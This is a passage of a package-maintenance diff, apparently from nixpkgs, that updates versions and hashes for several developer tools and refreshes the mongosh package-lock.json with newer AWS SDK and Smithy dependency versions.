b/pkgs/development/tools/misc/reviewdog/default.nix @@ -2,16 +2,16 @@ buildGoModule rec { pname = "reviewdog"; - version = "0.17.0"; + version = "0.17.1"; src = fetchFromGitHub { owner = pname; repo = pname; rev = "v${version}"; - hash = "sha256-zr98hzWU27d+HCKvzTch7FkpUOWkHvpuMIq2cfWNRHQ="; + hash = "sha256-l7jQaOFNhhWqkYaTd8BdH9au/wjlnWZnV5DAco93qlQ="; }; - vendorHash = "sha256-S5SEM6EFXI2Vig8ze5kGOCIL5bLF6CMy/TKV+/3zAjI="; + vendorHash = "sha256-p/WvGGadf/O2DFIUWjw7mpg8DhcaIYlgp1xgKV89+GM="; doCheck = false; diff --git a/pkgs/development/tools/misc/rsonpath/default.nix b/pkgs/development/tools/misc/rsonpath/default.nix index 26b25b1b5d949..1d673ae35ded7 100644 --- a/pkgs/development/tools/misc/rsonpath/default.nix +++ b/pkgs/development/tools/misc/rsonpath/default.nix @@ -5,16 +5,16 @@ rustPlatform.buildRustPackage rec { pname = "rsonpath"; - version = "0.8.6"; + version = "0.8.7"; src = fetchFromGitHub { owner = "v0ldek"; repo = "rsonpath"; rev = "v${version}"; - hash = "sha256-p1cbxEvnV5vR1fznNbglHfKa53DboIFJqEWAXBLoQ+s="; + hash = "sha256-AMnUErmufHc05MxHru/b4mFHH+HF9jfhoNi8yIejc64="; }; - cargoHash = "sha256-rVJbrHsbSF8ZF44gmCUFxlGGhloC/kLBT5vSJjglxHE="; + cargoHash = "sha256-flMzNxA1NWGy4ea7/dmPiEKspBmVuy82VPe5r8jaEGg="; cargoBuildFlags = [ "-p=rsonpath" ]; cargoTestFlags = cargoBuildFlags; diff --git a/pkgs/development/tools/misc/runme/default.nix b/pkgs/development/tools/misc/runme/default.nix index 92299626ae9f9..d7850c18fabe3 100644 --- a/pkgs/development/tools/misc/runme/default.nix +++ b/pkgs/development/tools/misc/runme/default.nix @@ -12,13 +12,13 @@ buildGoModule rec { pname = "runme"; - version = "2.2.6"; + version = "3.0.2"; src = fetchFromGitHub { owner = "stateful"; repo = "runme"; rev = "v${version}"; - hash = "sha256-pbdY0/1ityPWI3bGjpgWZ5pKTIh8wRqquBuK7aCbeHg="; + hash = "sha256-a+7Gff3Z1V17uaywoUE+nLVeVprB50Gslarcle/NPB8="; }; vendorHash = "sha256-QoZzEq1aC7cjY/RVp5Z5HhSuTFf2BSYQnfg0jSaeTJU="; diff --git a/pkgs/development/tools/misc/strace/default.nix b/pkgs/development/tools/misc/strace/default.nix index d851aa217b5f8..5dc67a627a55b 100644 --- a/pkgs/development/tools/misc/strace/default.nix +++ b/pkgs/development/tools/misc/strace/default.nix @@ -12,9 +12,12 @@ stdenv.mkDerivation rec { depsBuildBuild = [ buildPackages.stdenv.cc ]; nativeBuildInputs = [ perl ]; + # libunwind for -k. # On RISC-V platforms, LLVM's libunwind implementation is unsupported by strace. # The build will silently fall back and -k will not work on RISC-V. - buildInputs = [ libunwind elfutils ]; # support -k and -kk + buildInputs = [ libunwind ] + # -kk + ++ lib.optional (lib.meta.availableOn stdenv.hostPlatform elfutils) elfutils; configureFlags = [ "--enable-mpers=check" ]; diff --git a/pkgs/development/tools/misc/texlab/default.nix b/pkgs/development/tools/misc/texlab/default.nix index 4756be84a8606..4497865ee8577 100644 --- a/pkgs/development/tools/misc/texlab/default.nix +++ b/pkgs/development/tools/misc/texlab/default.nix @@ -15,16 +15,16 @@ let in rustPlatform.buildRustPackage rec { pname = "texlab"; - version = "5.12.3"; + version = "5.12.4"; src = fetchFromGitHub { owner = "latex-lsp"; repo = "texlab"; rev = "refs/tags/v${version}"; - hash = "sha256-/QjaAzCPhXzsiRhnRRZcujmk1C9IONYlMfjp/a1iIDA="; + hash = "sha256-kLf0EG6jKJeKowNZ21cwE0a9w630GoljNwRckHrkajg="; }; - cargoHash = "sha256-VDRLbhgQkPkeTpQxRsq8QEU53Zd4b5F0phoq2cAWIK8="; + cargoHash = "sha256-5vEoreDRHRxsVNPwZpgmeClEFZ0SzLjb5EZLfmlqEJM="; outputs = [ "out" ] ++ lib.optional (!isCross) "man"; diff --git a/pkgs/development/tools/mold/default.nix b/pkgs/development/tools/mold/default.nix index 9f9599e047dc3..a44c28c18bca6 100644 --- a/pkgs/development/tools/mold/default.nix +++ b/pkgs/development/tools/mold/default.nix @@ -23,13 +23,13 @@ stdenv.mkDerivation rec { pname = "mold"; - version = "2.4.0"; + version = "2.4.1"; src = fetchFromGitHub { owner = "rui314"; repo = "mold"; rev = "v${version}"; - hash = "sha256-ufqTbY59AI1MrY/vrsDg5a4WEVz9IFTdgl1GHMw9HGc="; + hash = "sha256-wwlpYAWP8sAsEkTq0w3s2jAWGayW3v9QcaVRKWHTlGE="; }; nativeBuildInputs = [ diff --git a/pkgs/development/tools/mongosh/package-lock.json b/pkgs/development/tools/mongosh/package-lock.json index 4c59e94cee8ed..9b4bde2538023 100644 --- a/pkgs/development/tools/mongosh/package-lock.json +++ b/pkgs/development/tools/mongosh/package-lock.json @@ -1,15 +1,15 @@ { "name": "mongosh", - "version": "2.1.3", + "version": "2.1.5", "lockfileVersion": 3, "requires": true, "packages": { "": { "name": "mongosh", - "version": "2.1.3", + "version": "2.1.5", "license": "Apache-2.0", "dependencies": { - "@mongosh/cli-repl": "2.1.3" + "@mongosh/cli-repl": "2.1.5" }, "bin": { "mongosh": "bin/mongosh.js" @@ -122,27 +122,26 @@ "integrity": "sha512-Xni35NKzjgMrwevysHTCArtLDpPvye8zV/0E4EyYn43P7/7qvQwPh9BGkHewbMulVntbigmcT7rdX3BNo9wRJg==" }, "node_modules/@aws-sdk/client-cognito-identity": { - "version": "3.504.0", - "resolved": "https://registry.npmmirror.com/@aws-sdk/client-cognito-identity/-/client-cognito-identity-3.504.0.tgz", - "integrity": "sha512-WsQY6CRDC9Y1rKjpsk187EHKES6nLmM9sD6iHAKZFLhi/DiYsy8SIafPFPEvluubYlheeLzgUB8Oxpj6Z69hlA==", + "version": "3.515.0", + "resolved": "https://registry.npmmirror.com/@aws-sdk/client-cognito-identity/-/client-cognito-identity-3.515.0.tgz", + "integrity": "sha512-e51ImjjRLzXkPEYguvGCbhWPNhoV2OGS6mKHCR940XEeImt04yE1tytYP1vXYpPICmuYgz79BV0FOC9J5N9bvg==", "dependencies": { "@aws-crypto/sha256-browser": "3.0.0", "@aws-crypto/sha256-js": "3.0.0", - "@aws-sdk/client-sts": "3.504.0", - "@aws-sdk/core": "3.496.0", - "@aws-sdk/credential-provider-node": "3.504.0", - "@aws-sdk/middleware-host-header": "3.502.0", - "@aws-sdk/middleware-logger": "3.502.0", - "@aws-sdk/middleware-recursion-detection": "3.502.0", - "@aws-sdk/middleware-signing": "3.502.0", - "@aws-sdk/middleware-user-agent": "3.502.0", - "@aws-sdk/region-config-resolver": "3.502.0", - "@aws-sdk/types": "3.502.0", - "@aws-sdk/util-endpoints": "3.502.0", - "@aws-sdk/util-user-agent-browser": "3.502.0", - "@aws-sdk/util-user-agent-node": "3.502.0", + "@aws-sdk/client-sts": "3.515.0", + "@aws-sdk/core": "3.513.0", + "@aws-sdk/credential-provider-node": "3.515.0", + "@aws-sdk/middleware-host-header": "3.515.0", + "@aws-sdk/middleware-logger": "3.515.0", + "@aws-sdk/middleware-recursion-detection": "3.515.0", + "@aws-sdk/middleware-user-agent": "3.515.0", + "@aws-sdk/region-config-resolver": "3.515.0", + "@aws-sdk/types": "3.515.0", + "@aws-sdk/util-endpoints": "3.515.0", + "@aws-sdk/util-user-agent-browser": "3.515.0", + "@aws-sdk/util-user-agent-node": "3.515.0", "@smithy/config-resolver": "^2.1.1", - "@smithy/core": "^1.3.1", + "@smithy/core": "^1.3.2", "@smithy/fetch-http-handler": "^2.4.1", "@smithy/hash-node": "^2.1.1", "@smithy/invalid-dependency": "^2.1.1", @@ -161,8 +160,9 @@ "@smithy/util-body-length-browser": "^2.1.1", "@smithy/util-body-length-node": "^2.2.1", "@smithy/util-defaults-mode-browser": "^2.1.1", - "@smithy/util-defaults-mode-node": "^2.1.1", + "@smithy/util-defaults-mode-node": "^2.2.0", "@smithy/util-endpoints": "^1.1.1", + "@smithy/util-middleware": "^2.1.1", "@smithy/util-retry": "^2.1.1", "@smithy/util-utf8": "^2.1.1", "tslib": "^2.5.0" @@ -172,24 +172,24 @@ } }, "node_modules/@aws-sdk/client-sso": { - "version": "3.502.0", - "resolved": "https://registry.npmmirror.com/@aws-sdk/client-sso/-/client-sso-3.502.0.tgz", - "integrity": "sha512-OZAYal1+PQgUUtWiHhRayDtX0OD+XpXHKAhjYgEIPbyhQaCMp3/Bq1xDX151piWXvXqXLJHFKb8DUEqzwGO9QA==", + "version": "3.515.0", + "resolved": "https://registry.npmmirror.com/@aws-sdk/client-sso/-/client-sso-3.515.0.tgz", + "integrity": "sha512-4oGBLW476zmkdN98lAns3bObRNO+DLOfg4MDUSR6l6GYBV/zGAtoy2O/FhwYKgA2L5h2ZtElGopLlk/1Q0ePLw==", "dependencies": { "@aws-crypto/sha256-browser": "3.0.0", "@aws-crypto/sha256-js": "3.0.0", - "@aws-sdk/core": "3.496.0", - "@aws-sdk/middleware-host-header": "3.502.0", - "@aws-sdk/middleware-logger": "3.502.0", - "@aws-sdk/middleware-recursion-detection": "3.502.0", - "@aws-sdk/middleware-user-agent": "3.502.0", - "@aws-sdk/region-config-resolver": "3.502.0", - "@aws-sdk/types": "3.502.0", - "@aws-sdk/util-endpoints": "3.502.0", - "@aws-sdk/util-user-agent-browser": "3.502.0", - "@aws-sdk/util-user-agent-node": "3.502.0", + "@aws-sdk/core": "3.513.0", + "@aws-sdk/middleware-host-header": "3.515.0", + "@aws-sdk/middleware-logger": "3.515.0", + "@aws-sdk/middleware-recursion-detection": "3.515.0", + "@aws-sdk/middleware-user-agent": "3.515.0", + "@aws-sdk/region-config-resolver": "3.515.0", + "@aws-sdk/types": "3.515.0", + "@aws-sdk/util-endpoints": "3.515.0", + "@aws-sdk/util-user-agent-browser": "3.515.0", + "@aws-sdk/util-user-agent-node": "3.515.0", "@smithy/config-resolver": "^2.1.1", - "@smithy/core": "^1.3.1", + "@smithy/core": "^1.3.2", "@smithy/fetch-http-handler": "^2.4.1", "@smithy/hash-node": "^2.1.1", "@smithy/invalid-dependency": "^2.1.1", @@ -208,8 +208,9 @@ "@smithy/util-body-length-browser": "^2.1.1", "@smithy/util-body-length-node": "^2.2.1", "@smithy/util-defaults-mode-browser": "^2.1.1", - "@smithy/util-defaults-mode-node": "^2.1.1", + "@smithy/util-defaults-mode-node": "^2.2.0", "@smithy/util-endpoints": "^1.1.1", + "@smithy/util-middleware": "^2.1.1", "@smithy/util-retry": "^2.1.1", "@smithy/util-utf8": "^2.1.1", "tslib": "^2.5.0" @@ -219,26 +220,25 @@ } }, "node_modules/@aws-sdk/client-sso-oidc": { - "version": "3.504.0", - "resolved": "https://registry.npmmirror.com/@aws-sdk/client-sso-oidc/-/client-sso-oidc-3.504.0.tgz", - "integrity": "sha512-ODA33/nm2srhV08EW0KZAP577UgV0qjyr7Xp2yEo8MXWL4ZqQZprk1c+QKBhjr4Djesrm0VPmSD/np0mtYP68A==", + "version": "3.515.0", + "resolved": "https://registry.npmmirror.com/@aws-sdk/client-sso-oidc/-/client-sso-oidc-3.515.0.tgz", + "integrity": "sha512-zACa8LNlPUdlNUBqQRf5a3MfouLNtcBfm84v2c8M976DwJrMGONPe1QjyLLsD38uESQiXiVQRruj/b000iMXNw==", "dependencies": { "@aws-crypto/sha256-browser": "3.0.0", "@aws-crypto/sha256-js": "3.0.0", - "@aws-sdk/client-sts": "3.504.0", - "@aws-sdk/core": "3.496.0", - "@aws-sdk/middleware-host-header": "3.502.0", - "@aws-sdk/middleware-logger": "3.502.0", - "@aws-sdk/middleware-recursion-detection": "3.502.0", - "@aws-sdk/middleware-signing": "3.502.0", - "@aws-sdk/middleware-user-agent": "3.502.0", - "@aws-sdk/region-config-resolver": "3.502.0", - "@aws-sdk/types": "3.502.0", - "@aws-sdk/util-endpoints": "3.502.0", - "@aws-sdk/util-user-agent-browser": "3.502.0", - "@aws-sdk/util-user-agent-node": "3.502.0", + "@aws-sdk/client-sts": "3.515.0", + "@aws-sdk/core": "3.513.0", + "@aws-sdk/middleware-host-header": "3.515.0", + "@aws-sdk/middleware-logger": "3.515.0", + "@aws-sdk/middleware-recursion-detection": "3.515.0", + "@aws-sdk/middleware-user-agent": "3.515.0", + "@aws-sdk/region-config-resolver": "3.515.0", + "@aws-sdk/types": "3.515.0", + "@aws-sdk/util-endpoints": "3.515.0", + "@aws-sdk/util-user-agent-browser": "3.515.0", + "@aws-sdk/util-user-agent-node": "3.515.0", "@smithy/config-resolver": "^2.1.1", - "@smithy/core": "^1.3.1", + "@smithy/core": "^1.3.2", "@smithy/fetch-http-handler": "^2.4.1", "@smithy/hash-node": "^2.1.1", "@smithy/invalid-dependency": "^2.1.1", @@ -257,8 +257,9 @@ "@smithy/util-body-length-browser": "^2.1.1", "@smithy/util-body-length-node": "^2.2.1", "@smithy/util-defaults-mode-browser": "^2.1.1", - "@smithy/util-defaults-mode-node": "^2.1.1", + "@smithy/util-defaults-mode-node": "^2.2.0", "@smithy/util-endpoints": "^1.1.1", + "@smithy/util-middleware": "^2.1.1", "@smithy/util-retry": "^2.1.1", "@smithy/util-utf8": "^2.1.1", "tslib": "^2.5.0" @@ -267,28 +268,28 @@ "node": ">=14.0.0" }, "peerDependencies": { - "@aws-sdk/credential-provider-node": "^3.504.0" + "@aws-sdk/credential-provider-node": "^3.515.0" } }, "node_modules/@aws-sdk/client-sts": { - "version": "3.504.0", - "resolved": "https://registry.npmmirror.com/@aws-sdk/client-sts/-/client-sts-3.504.0.tgz", - "integrity": "sha512-IESs8FkL7B/uY+ml4wgoRkrr6xYo4PizcNw6JX17eveq1gRBCPKeGMjE6HTDOcIYZZ8rqz/UeuH3JD4UhrMOnA==", + "version": "3.515.0", + "resolved": "https://registry.npmmirror.com/@aws-sdk/client-sts/-/client-sts-3.515.0.tgz", + "integrity": "sha512-ScYuvaIDgip3atOJIA1FU2n0gJkEdveu1KrrCPathoUCV5zpK8qQmO/n+Fj/7hKFxeKdFbB+4W4CsJWYH94nlg==", "dependencies": { "@aws-crypto/sha256-browser": "3.0.0", "@aws-crypto/sha256-js": "3.0.0", - "@aws-sdk/core": "3.496.0", - "@aws-sdk/middleware-host-header": "3.502.0", - "@aws-sdk/middleware-logger": "3.502.0", - "@aws-sdk/middleware-recursion-detection": "3.502.0", - "@aws-sdk/middleware-user-agent": "3.502.0", - "@aws-sdk/region-config-resolver": "3.502.0", - "@aws-sdk/types": "3.502.0", - "@aws-sdk/util-endpoints": "3.502.0", - "@aws-sdk/util-user-agent-browser": "3.502.0", - "@aws-sdk/util-user-agent-node": "3.502.0", + "@aws-sdk/core": "3.513.0", + "@aws-sdk/middleware-host-header": "3.515.0", + "@aws-sdk/middleware-logger": "3.515.0", + "@aws-sdk/middleware-recursion-detection": "3.515.0", + "@aws-sdk/middleware-user-agent": "3.515.0", + "@aws-sdk/region-config-resolver": "3.515.0", + "@aws-sdk/types": "3.515.0", + "@aws-sdk/util-endpoints": "3.515.0", + "@aws-sdk/util-user-agent-browser": "3.515.0", + "@aws-sdk/util-user-agent-node": "3.515.0", "@smithy/config-resolver": "^2.1.1", - "@smithy/core": "^1.3.1", + "@smithy/core": "^1.3.2", "@smithy/fetch-http-handler": "^2.4.1", "@smithy/hash-node": "^2.1.1", "@smithy/invalid-dependency": "^2.1.1", @@ -307,7 +308,7 @@ "@smithy/util-body-length-browser": "^2.1.1", "@smithy/util-body-length-node": "^2.2.1", "@smithy/util-defaults-mode-browser": "^2.1.1", - "@smithy/util-defaults-mode-node": "^2.1.1", + "@smithy/util-defaults-mode-node": "^2.2.0", "@smithy/util-endpoints": "^1.1.1", "@smithy/util-middleware": "^2.1.1", "@smithy/util-retry": "^2.1.1", @@ -319,15 +320,15 @@ "node": ">=14.0.0" }, "peerDependencies": { - "@aws-sdk/credential-provider-node": "^3.504.0" + "@aws-sdk/credential-provider-node": "^3.515.0" } }, "node_modules/@aws-sdk/core": { - "version": "3.496.0", - "resolved": "https://registry.npmmirror.com/@aws-sdk/core/-/core-3.496.0.tgz", - "integrity": "sha512-yT+ug7Cw/3eJi7x2es0+46x12+cIJm5Xv+GPWsrTFD1TKgqO/VPEgfDtHFagDNbFmjNQA65Ygc/kEdIX9ICX/A==", + "version": "3.513.0", + "resolved": "https://registry.npmmirror.com/@aws-sdk/core/-/core-3.513.0.tgz", + "integrity": "sha512-L+9DL4apWuqNKVOMJ8siAuWoRM9rZf9w1iPv8S2o83WO2jVK7E/m+rNW1dFo9HsA5V1ccDl2H2qLXx24HiHmOw==", "dependencies": { - "@smithy/core": "^1.3.1", + "@smithy/core": "^1.3.2", "@smithy/protocol-http": "^3.1.1", "@smithy/signature-v4": "^2.1.1", "@smithy/smithy-client": "^2.3.1", @@ -339,12 +340,12 @@ } }, "node_modules/@aws-sdk/credential-provider-cognito-identity": { - "version": "3.504.0", - "resolved": "https://registry.npmmirror.com/@aws-sdk/credential-provider-cognito-identity/-/credential-provider-cognito-identity-3.504.0.tgz", - "integrity": "sha512-QRmKLl4wM7Yd1HBzUdHIA+QhQxLROXptQjwMNL+KNfl5vMFYOUt0FMXwg80DRHl7qEScvZZEDovcswuuw5Uo2w==", + "version": "3.515.0", + "resolved": "https://registry.npmmirror.com/@aws-sdk/credential-provider-cognito-identity/-/credential-provider-cognito-identity-3.515.0.tgz", + "integrity": "sha512-pWMJFhNc6bLbCpKhYXWWa23wMyhpFFyw3kF/6ea+95JQHF0FY2l4wDQa7ynE4hW4Wf5oA3Sf7Wf87pp9iAHubQ==", "dependencies": { - "@aws-sdk/client-cognito-identity": "3.504.0", - "@aws-sdk/types": "3.502.0", + "@aws-sdk/client-cognito-identity": "3.515.0", + "@aws-sdk/types": "3.515.0", "@smithy/property-provider": "^2.1.1", "@smithy/types": "^2.9.1", "tslib": "^2.5.0" @@ -354,11 +355,11 @@ } }, "node_modules/@aws-sdk/credential-provider-env": { - "version": "3.502.0", - "resolved": "https://registry.npmmirror.com/@aws-sdk/credential-provider-env/-/credential-provider-env-3.502.0.tgz", - "integrity": "sha512-KIB8Ae1Z7domMU/jU4KiIgK4tmYgvuXlhR54ehwlVHxnEoFPoPuGHFZU7oFn79jhhSLUFQ1lRYMxP0cEwb7XeQ==", + "version": "3.515.0", + "resolved": "https://registry.npmmirror.com/@aws-sdk/credential-provider-env/-/credential-provider-env-3.515.0.tgz", + "integrity": "sha512-45vxdyqhTAaUMERYVWOziG3K8L2TV9G4ryQS/KZ84o7NAybE9GMdoZRVmGHAO7mJJ1wQiYCM/E+i5b3NW9JfNA==", "dependencies": { - "@aws-sdk/types": "3.502.0", + "@aws-sdk/types": "3.515.0", "@smithy/property-provider": "^2.1.1", "@smithy/types": "^2.9.1", "tslib": "^2.5.0" @@ -368,11 +369,11 @@ } }, "node_modules/@aws-sdk/credential-provider-http": { - "version": "3.503.1", - "resolved": "https://registry.npmmirror.com/@aws-sdk/credential-provider-http/-/credential-provider-http-3.503.1.tgz", - "integrity": "sha512-rTdlFFGoPPFMF2YjtlfRuSgKI+XsF49u7d98255hySwhsbwd3Xp+utTTPquxP+CwDxMHbDlI7NxDzFiFdsoZug==", + "version": "3.515.0", + "resolved": "https://registry.npmmirror.com/@aws-sdk/credential-provider-http/-/credential-provider-http-3.515.0.tgz", + "integrity": "sha512-Ba6FXK77vU4WyheiamNjEuTFmir0eAXuJGPO27lBaA8g+V/seXGHScsbOG14aQGDOr2P02OPwKGZrWWA7BFpfQ==", "dependencies": { - "@aws-sdk/types": "3.502.0", + "@aws-sdk/types": "3.515.0", "@smithy/fetch-http-handler": "^2.4.1", "@smithy/node-http-handler": "^2.3.1", "@smithy/property-provider": "^2.1.1", @@ -387,16 +388,16 @@ } }, "node_modules/@aws-sdk/credential-provider-ini": { - "version": "3.504.0", - "resolved": "https://registry.npmmirror.com/@aws-sdk/credential-provider-ini/-/credential-provider-ini-3.504.0.tgz", - "integrity": "sha512-ODICLXfr8xTUd3wweprH32Ge41yuBa+u3j0JUcLdTUO1N9ldczSMdo8zOPlP0z4doqD3xbnqMkjNQWgN/Q+5oQ==", - "dependencies": { - "@aws-sdk/client-sts": "3.504.0", - "@aws-sdk/credential-provider-env": "3.502.0", - "@aws-sdk/credential-provider-process": "3.502.0", - "@aws-sdk/credential-provider-sso": "3.504.0", - "@aws-sdk/credential-provider-web-identity": "3.504.0", - "@aws-sdk/types": "3.502.0", + "version": "3.515.0", + "resolved": "https://registry.npmmirror.com/@aws-sdk/credential-provider-ini/-/credential-provider-ini-3.515.0.tgz", + "integrity": "sha512-ouDlNZdv2TKeVEA/YZk2+XklTXyAAGdbWnl4IgN9ItaodWI+lZjdIoNC8BAooVH+atIV/cZgoGTGQL7j2TxJ9A==", + "dependencies": { + "@aws-sdk/client-sts": "3.515.0", + "@aws-sdk/credential-provider-env": "3.515.0", + "@aws-sdk/credential-provider-process": "3.515.0", + "@aws-sdk/credential-provider-sso": "3.515.0", + "@aws-sdk/credential-provider-web-identity": "3.515.0", + "@aws-sdk/types": "3.515.0", "@smithy/credential-provider-imds": "^2.2.1", "@smithy/property-provider": "^2.1.1", "@smithy/shared-ini-file-loader": "^2.3.1", @@ -408,17 +409,17 @@ } }, "node_modules/@aws-sdk/credential-provider-node": { - "version": "3.504.0", - "resolved": "https://registry.npmmirror.com/@aws-sdk/credential-provider-node/-/credential-provider-node-3.504.0.tgz", - "integrity": "sha512-6+V5hIh+tILmUjf2ZQWQINR3atxQVgH/bFrGdSR/sHSp/tEgw3m0xWL3IRslWU1e4/GtXrfg1iYnMknXy68Ikw==", - "dependencies": { - "@aws-sdk/credential-provider-env": "3.502.0", - "@aws-sdk/credential-provider-http": "3.503.1", - "@aws-sdk/credential-provider-ini": "3.504.0", - "@aws-sdk/credential-provider-process": "3.502.0", - "@aws-sdk/credential-provider-sso": "3.504.0", - "@aws-sdk/credential-provider-web-identity": "3.504.0", - "@aws-sdk/types": "3.502.0", + "version": "3.515.0", + "resolved": "https://registry.npmmirror.com/@aws-sdk/credential-provider-node/-/credential-provider-node-3.515.0.tgz", + "integrity": "sha512-Y4kHSpbxksiCZZNcvsiKUd8Fb2XlyUuONEwqWFNL82ZH6TCCjBGS31wJQCSxBHqYcOL3tiORUEJkoO7uS30uQA==", + "dependencies": { + "@aws-sdk/credential-provider-env": "3.515.0", + "@aws-sdk/credential-provider-http": "3.515.0", + "@aws-sdk/credential-provider-ini": "3.515.0", + "@aws-sdk/credential-provider-process": "3.515.0", + "@aws-sdk/credential-provider-sso": "3.515.0", + "@aws-sdk/credential-provider-web-identity": "3.515.0", + "@aws-sdk/types": "3.515.0", "@smithy/credential-provider-imds": "^2.2.1", "@smithy/property-provider": "^2.1.1", "@smithy/shared-ini-file-loader": "^2.3.1", @@ -430,11 +431,11 @@ } }, "node_modules/@aws-sdk/credential-provider-process": { - "version": "3.502.0", - "resolved": "https://registry.npmmirror.com/@aws-sdk/credential-provider-process/-/credential-provider-process-3.502.0.tgz", - "integrity": "sha512-fJJowOjQ4infYQX0E1J3xFVlmuwEYJAFk0Mo1qwafWmEthsBJs+6BR2RiWDELHKrSK35u4Pf3fu3RkYuCtmQFw==", + "version": "3.515.0", + "resolved": "https://registry.npmmirror.com/@aws-sdk/credential-provider-process/-/credential-provider-process-3.515.0.tgz", + "integrity": "sha512-pSjiOA2FM63LHRKNDvEpBRp80FVGT0Mw/gzgbqFXP+sewk0WVonYbEcMDTJptH3VsLPGzqH/DQ1YL/aEIBuXFQ==", "dependencies": { - "@aws-sdk/types": "3.502.0", + "@aws-sdk/types": "3.515.0", "@smithy/property-provider": "^2.1.1", "@smithy/shared-ini-file-loader": "^2.3.1", "@smithy/types": "^2.9.1", @@ -445,13 +446,13 @@ } }, "node_modules/@aws-sdk/credential-provider-sso": { - "version": "3.504.0", - "resolved": "https://registry.npmmirror.com/@aws-sdk/credential-provider-sso/-/credential-provider-sso-3.504.0.tgz", - "integrity": "sha512-4MgH2or2SjPzaxM08DCW+BjaX4DSsEGJlicHKmz6fh+w9JmLh750oXcTnbvgUeVz075jcs6qTKjvUcsdGM/t8Q==", + "version": "3.515.0", + "resolved": "https://registry.npmmirror.com/@aws-sdk/credential-provider-sso/-/credential-provider-sso-3.515.0.tgz", + "integrity": "sha512-j7vUkiSmuhpBvZYoPTRTI4ePnQbiZMFl6TNhg9b9DprC1zHkucsZnhRhqjOVlrw/H6J4jmcPGcHHTZ5WQNI5xQ==", "dependencies": { - "@aws-sdk/client-sso": "3.502.0", - "@aws-sdk/token-providers": "3.504.0", - "@aws-sdk/types": "3.502.0", + "@aws-sdk/client-sso": "3.515.0", + "@aws-sdk/token-providers": "3.515.0", + "@aws-sdk/types": "3.515.0", "@smithy/property-provider": "^2.1.1", "@smithy/shared-ini-file-loader": "^2.3.1", "@smithy/types": "^2.9.1", @@ -462,12 +463,12 @@ } }, "node_modules/@aws-sdk/credential-provider-web-identity": { - "version": "3.504.0", - "resolved": "https://registry.npmmirror.com/@aws-sdk/credential-provider-web-identity/-/credential-provider-web-identity-3.504.0.tgz", - "integrity": "sha512-L1ljCvGpIEFdJk087ijf2ohg7HBclOeB1UgBxUBBzf4iPRZTQzd2chGaKj0hm2VVaXz7nglswJeURH5PFcS5oA==", + "version": "3.515.0", + "resolved": "https://registry.npmmirror.com/@aws-sdk/credential-provider-web-identity/-/credential-provider-web-identity-3.515.0.tgz", + "integrity": "sha512-66+2g4z3fWwdoGReY8aUHvm6JrKZMTRxjuizljVmMyOBttKPeBYXvUTop/g3ZGUx1f8j+C5qsGK52viYBvtjuQ==", "dependencies": { - "@aws-sdk/client-sts": "3.504.0", - "@aws-sdk/types": "3.502.0", + "@aws-sdk/client-sts": "3.515.0", + "@aws-sdk/types": "3.515.0", "@smithy/property-provider": "^2.1.1", "@smithy/types": "^2.9.1", "tslib": "^2.5.0" @@ -477,22 +478,22 @@ } }, "node_modules/@aws-sdk/credential-providers": { - "version": "3.504.1", - "resolved": "https://registry.npmmirror.com/@aws-sdk/credential-providers/-/credential-providers-3.504.1.tgz", - "integrity": "sha512-D/ef7ZVxJVXC1qe6ZMS0dOWM92LNHJRHn9Biz5eRqRvRhNL+Rq68ZULlc0TQTVY71Fcc5TJ8OwFhaboPUiqWXA==", - "dependencies": { - "@aws-sdk/client-cognito-identity": "3.504.0", - "@aws-sdk/client-sso": "3.502.0", - "@aws-sdk/client-sts": "3.504.0", - "@aws-sdk/credential-provider-cognito-identity": "3.504.0", - "@aws-sdk/credential-provider-env": "3.502.0", - "@aws-sdk/credential-provider-http": "3.503.1", - "@aws-sdk/credential-provider-ini": "3.504.0", - "@aws-sdk/credential-provider-node": "3.504.0", - "@aws-sdk/credential-provider-process": "3.502.0", - "@aws-sdk/credential-provider-sso": "3.504.0", - "@aws-sdk/credential-provider-web-identity": "3.504.0", - "@aws-sdk/types": "3.502.0", + "version": "3.515.0", + "resolved": "https://registry.npmmirror.com/@aws-sdk/credential-providers/-/credential-providers-3.515.0.tgz", + "integrity": "sha512-XQ9maVLTtv6iJbOYiRS+IvaPlFkJDuxfpfxuky3aPzQpxDilU4cf1CfIDua8qivZKQ4QQOd1EaBMXPIpLI1ZTQ==", + "dependencies": { + "@aws-sdk/client-cognito-identity": "3.515.0", + "@aws-sdk/client-sso": "3.515.0", + "@aws-sdk/client-sts": "3.515.0", + "@aws-sdk/credential-provider-cognito-identity": "3.515.0", + "@aws-sdk/credential-provider-env": "3.515.0", + "@aws-sdk/credential-provider-http": "3.515.0", + "@aws-sdk/credential-provider-ini": "3.515.0", + "@aws-sdk/credential-provider-node": "3.515.0", + "@aws-sdk/credential-provider-process": "3.515.0", + "@aws-sdk/credential-provider-sso": "3.515.0", + "@aws-sdk/credential-provider-web-identity": "3.515.0", + "@aws-sdk/types": "3.515.0", "@smithy/credential-provider-imds": "^2.2.1", "@smithy/property-provider": "^2.1.1", "@smithy/types": "^2.9.1", @@ -503,11 +504,11 @@ } }, "node_modules/@aws-sdk/middleware-host-header": { - "version": "3.502.0", - "resolved": "https://registry.npmmirror.com/@aws-sdk/middleware-host-header/-/middleware-host-header-3.502.0.tgz", - "integrity": "sha512-EjnG0GTYXT/wJBmm5/mTjDcAkzU8L7wQjOzd3FTXuTCNNyvAvwrszbOj5FlarEw5XJBbQiZtBs+I5u9+zy560w==", + "version": "3.515.0", + "resolved": "https://registry.npmmirror.com/@aws-sdk/middleware-host-header/-/middleware-host-header-3.515.0.tgz", + "integrity": "sha512-I1MwWPzdRKM1luvdDdjdGsDjNVPhj9zaIytEchjTY40NcKOg+p2evLD2y69ozzg8pyXK63r8DdvDGOo9QPuh0A==", "dependencies": { - "@aws-sdk/types": "3.502.0", + "@aws-sdk/types": "3.515.0", "@smithy/protocol-http": "^3.1.1", "@smithy/types": "^2.9.1", "tslib": "^2.5.0" @@ -517,11 +518,11 @@ } }, "node_modules/@aws-sdk/middleware-logger": { - "version": "3.502.0", - "resolved": "https://registry.npmmirror.com/@aws-sdk/middleware-logger/-/middleware-logger-3.502.0.tgz", - "integrity": "sha512-FDyv6K4nCoHxbjLGS2H8ex8I0KDIiu4FJgVRPs140ZJy6gE5Pwxzv6YTzZGLMrnqcIs9gh065Lf6DjwMelZqaw==", + "version": "3.515.0", + "resolved": "https://registry.npmmirror.com/@aws-sdk/middleware-logger/-/middleware-logger-3.515.0.tgz", + "integrity": "sha512-qXomJzg2m/5seQOxHi/yOXOKfSjwrrJSmEmfwJKJyQgdMbBcjz3Cz0H/1LyC6c5hHm6a/SZgSTzDAbAoUmyL+Q==", "dependencies": { - "@aws-sdk/types": "3.502.0", + "@aws-sdk/types": "3.515.0", 